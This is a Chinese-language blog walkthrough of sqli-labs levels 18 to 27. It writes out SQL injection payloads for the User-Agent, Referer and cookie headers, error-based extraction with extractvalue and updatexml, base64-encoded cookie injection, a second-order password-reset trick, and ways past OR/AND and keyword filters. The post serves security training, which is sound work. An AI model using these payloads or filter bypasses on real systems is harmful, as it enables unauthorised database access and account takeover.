sql注入,内容挺多,防护手段也多,在实际场景中,如何绕过这些防护手段也是关键问题,但sql注入的思想与方法基本上在前五篇文章中总结完了,这篇文章主要是刷刷题,再练习一下
其实sqlmap挺成熟的,直接使用,而且不用写脚本啥的,很快,但是还是需要理解sql注入原理与手工注入,真正的了解这个漏洞,以应对不同的场景
废话少说
目录
Less-18
尝试登陆一下
这不就是上篇文章中的user agent方法吗,直接开启postman
注意是POST方法
请求这三个数据
这道题明显注入点在User-Agent
输入一个单引号看到报错
看到括号加括号
一个参数不太够,那就再来一个
刚才测试两个也会报错,三个刚刚好
下面就直接拿表名
bbb',(select group_concat(table_name)
from information_schema.tables
where table_schema=database()),'ccc') -- +
哎,这不太对哎,这不是我们想要的结果,它这块显示的就是user agent而不是从数据库出来的数据,但是刚才可以看到错误信息,那么
这道题还是个基于报错的盲注,我们尝试一下
bbb',extractvalue(1,concat('~',
(select group_concat(table_name)
from information_schema.tables
where table_schema=database()))),'ccc') -- +
出来啦! ,原来如此,后面就很简单啦
Less-19
还是直接dumb登陆一手
这道题变了,变成referer了
不要怕不要怕,postman中试一下
看到了吗,其实和User Agent 一样的
其他的配置和上一题一样就不说了
试一下aa
出来啦,那就尝试找一下注入点
常规单引号
跟上一题一样测
接下来跟上面就一模一样了,基于报错拿结果
Less-20
同上,用Dumb登陆一下
竟然跳转了!
这种题不用想,登陆里面没漏洞
这道题看上去是要利用一下cookie
不要慌,我们直接postman中尝试一下
输入错误的账号密码是进不去的
我们输入正确的账号密码
进去了,我们看到了User_agent,尝试了一下,没有找到注入点
接下来目光集中在cookie上
cookie以前提到过,可以用来绕过登陆,我们复制一下这个cookie 然后再写到下面,用错误的密码登陆一下
也可以登陆进去,那我们从cookie中找找注入点
找到了,至于为留下uname是因为这个网页通过判断cookie中是否有uname=来判断是否登陆,应该是这样的,因为删了uname=会直接让你登陆的
接下来其实就是基于报错的注入了
uname=' and updatexml(1,concat('~',database(),'~'),1)-- +
后面的流程就不演示了,很简单滴
Less-21
登陆进去变成
这里是报错了,查了一下解决办法
在页头加上date_default_timezone_set('PRC'); 然后就好啦
这道题就开始有点难了 ,这个uname= RHVtYg== 是 base64加密过的,我也是看了某位大佬的博客幡然醒悟,我在测试注入点的时候疯狂报错
解密出结果啊,原来如此
那我们在测试注入点的时候也要把单引号啥的通过base64方式加密
怪不得啥都出不来呢,我甚至尝试了 sleep(1)
单引号加密后:Jw==
这才是我们要的结果嘛
试试') -- + 加密后JykgIC0tICs=
啥也没有,看来注入点找到了,这道题还是个基于报错的注入
先构建一下sql语句试试吧
') and extractvalue(1,concat('~',database())) -- +
加密后: JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgnficsZGF0YWJhc2UoKSkpIC0tICs=
可以看到数据库名就出来了,其他的就一样了,先构造语句,再base64加密再写入cookie就ok了
这道题挺有意思的,第一次遇到这种中间过程里加密的,这操作简直要给我整神
刷题也是学习的过程,这就又学到啦
Less-22
") and extractvalue(1,concat('~',database())) -- +
把上一题的单引号换成双引号了,改一下再重新加密,就ok了
Less-23
哎?又变回一开始的形式了
我们直接一个单引号
前面的警告不用看,应该是我php环境的问题
下面直接出了我们想要的内容了
直接加个注释
?id=1' -- +
报错基本上没变化啊,感觉是不是把注释禁用了
尝试一下,我们注释掉的也就是一个 单引号而已 加个 and 1='1 就ok
看到报错没了
?id=1' and 1=2'
看来是对了
我们直接来一手union attract
?id=-1' union select 1,2,3 and 1='1
找到注入点直接常规操作
后面就不演示了,常规操作啦
Less-24
越来越接近真实网页了
我们还是直接dump一下
这块是重新设置密码
这一关挺无厘头的,我看了大佬的文章,这一关其实是通过注册一个Dumb' -- + 的账号,修改密码的时候就能把Dumb的密码改了,大概是因为这里修改密码的sql语句是
update users set pas='xxx' where name='Dumb' --+'
这也太细了吧,我试了一下是可行的,大家也自己试一下吧,但是没有拿到数据库老感觉不太对
会不会有可能直接把payload写进用户名里
update users set pas='xxx' where name='Dumb' and updatexml(1,concat('~',database()),1) --+'
不行,那这关就先这样叭
Less-25
这提示真明了:你的OR 和 and 属于我们了
就说明用不了OR和AND了呗
这里针对这种情况有以下解决方案:
大小写互换 or Or rO and And aNd 等等
双写 oorr aandnandd 根据它过滤的特性会变成 or and
或者直接&& ||
等等...
我们常规方法做题一开始是用不到or/and的
id=1'
id=1' -- +
id=-1' union select 1,2,3 -- +
直到拿表名这一步
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =database()),3 -- +
仔细看,它把information 中的or去掉了!!
这里我试了大小写,没啥用,直接双写
infoorrmation
成功拿到表名,再拿个字段名看看
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema =database() aandnandd table_name='users' ),3 -- +
后面就都一样了
Less-26
难度暴增
?id=1'||1='1
?id=1'||extractvalue(1,(concat('~',database())))||1='1
?id=1'||extractvalue(1,(concat('~',(select(group_concat(table_name))from(infoorrmation_schema.tables)
where(table_schema=database())))))||1='1
后面都一样了就是看括号容易给自己看瞎了
Less-27
不剩啥了
这道题还行,select没有完全被ban,SelEct可以用,剩下的就跟上一题一样了